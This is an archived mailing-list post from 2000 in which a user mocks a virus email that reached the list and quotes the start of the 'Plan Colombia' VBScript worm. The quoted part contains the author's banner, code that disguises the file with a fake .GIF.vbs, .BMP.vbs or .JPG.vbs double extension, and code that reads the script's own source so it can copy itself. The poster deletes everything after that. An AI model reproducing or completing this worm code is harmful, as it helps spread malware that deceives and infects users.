Re: That stupid virus etc.

From: J.R. Seven (seven@mechsys2.me.berkeley.edu-DeleteThis)
Date: Fri Oct 27 2000 - 11:53:20 PDT


X-OldHeader: From seven@mechsys2.me.berkeley.edu-DeleteThis  Fri Oct 27 11:56:47 2000
Return-Path: <seven@mechsys2.me.berkeley.edu-DeleteThis>
Received: from opus.labs.agilent.com (root@opus.labs.agilent.com-DeleteThis [130.29.244.179]) by jr.labs.agilent.com (8.9.3 (PHNE_18979)/8.9.3 AgilentLabs Workstation) with ESMTP id LAA00254 for <wind_talk_ls@jr.labs.agilent.com-DeleteThis>; Fri, 27 Oct 2000 11:56:46 -0700 (PDT)
Received: from msgbas1t.cos.agilent.com (msgbas1t.cos.agilent.com [130.29.152.59]) by opus.labs.agilent.com (8.9.3 (PHNE_18979)/8.9.3 AgilentLabs Workstation) with ESMTP id LAA15189 for <wind_talk@opus.labs.agilent.com-DeleteThis>; Fri, 27 Oct 2000 11:56:46 -0700 (PDT)
Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) by msgbas1t.cos.agilent.com (Postfix) with ESMTP id 98A772A7 for <wind_talk@opus.labs.agilent.com-DeleteThis>; Fri, 27 Oct 2000 12:56:45 -0600 (MDT)
Received: from mechsys2.me.berkeley.edu ([63.199.30.255]) by mta6.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0G3300K95QJIHK@mta6.snfc21.pbi.net-DeleteThis> for wind_talk@opus.labs.agilent.com-DeleteThis; Fri, 27 Oct 2000 11:40:31 -0700 (PDT)
Date: Fri, 27 Oct 2000 11:53:20 -0700
From: "J.R. Seven" <seven@mechsys2.me.berkeley.edu-DeleteThis>
Subject: Re: That stupid virus etc.
Sender: seven@mta6.snfc21.pbi.net-DeleteThis
To: wind_talk@opus.labs.agilent.com-DeleteThis
Message-id: <39F9CF20.12CC1168@mechsys2.me.berkeley.edu-DeleteThis>
Organization: Berzerkeley
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686)
X-Accept-Language: en
References: <8583ACBEAE90D311ADC400A0C9EAFE590E3AF8@WASCLAN>


Some Bozo wrote:
>
> VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES..
>

Yep, it sure looks like a virus to me. Saved it on a Linux box which has
no Microbesoft stuff to infect, and looked at the file. Gee, doesn't it
make you want to run out and protest? (Sorry, guess I've been in Berkeley
too long.)

                                                                       JR

> rem ===============================================================================================
> rem "Plan Colombia" virus v1.0
> rem by Sand Ja9e Gr0w (www.colombia.com)
>
> rem Dedicated to all the people that want to be hackers or crackers, in Colombia
> rem This program is also a protest act against the violence and corruption that Colombia lives...
> rem I always wanting that all this finishes, I have said...
>
>
> rem Santa fe de Bogot?2000/09
> rem I dedicate to all you the song "GoodBye" of Andreas Bochelli
> rem =================================================================================================
>
>
> rem Thanks God..!
> rem A greeting for "Lina Mar?" from "Santa fe de Bogot?
> rem A greeting for "Tizo" from "Spain"
> rem And One kicked of tail to my friends, "eL ChE" and "ThE SpY"
>
> rem okay, ok...
> rem my baby start here...
>
> On Error Resume Next
> dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye
> eq=""
> ctr=0
>
> randomize
> numero = Int(Rnd * 3) + 1
> polye = ".GIF.vbs"
> If numero = 1 Then
> polye = ".BMP.vbs"
> Else
> If numero = 2 Then
> polye = ".JPG.vbs"
> End If
> End If
>
>
> polyn="\"&polyname(Int(Rnd * 5) + 4)&polye
>
> Set fso = CreateObject("Scripting.FileSystemObject")
> set file = fso.OpenTextFile(WScript.ScriptFullname,1)
> vbscopy=file.ReadAll
>
> [the rest of this stuff deleted, who wants to look at it anyway]



This archive was generated by hypermail 2b29 : Fri Sep 27 2002 - 12:24:50 PDT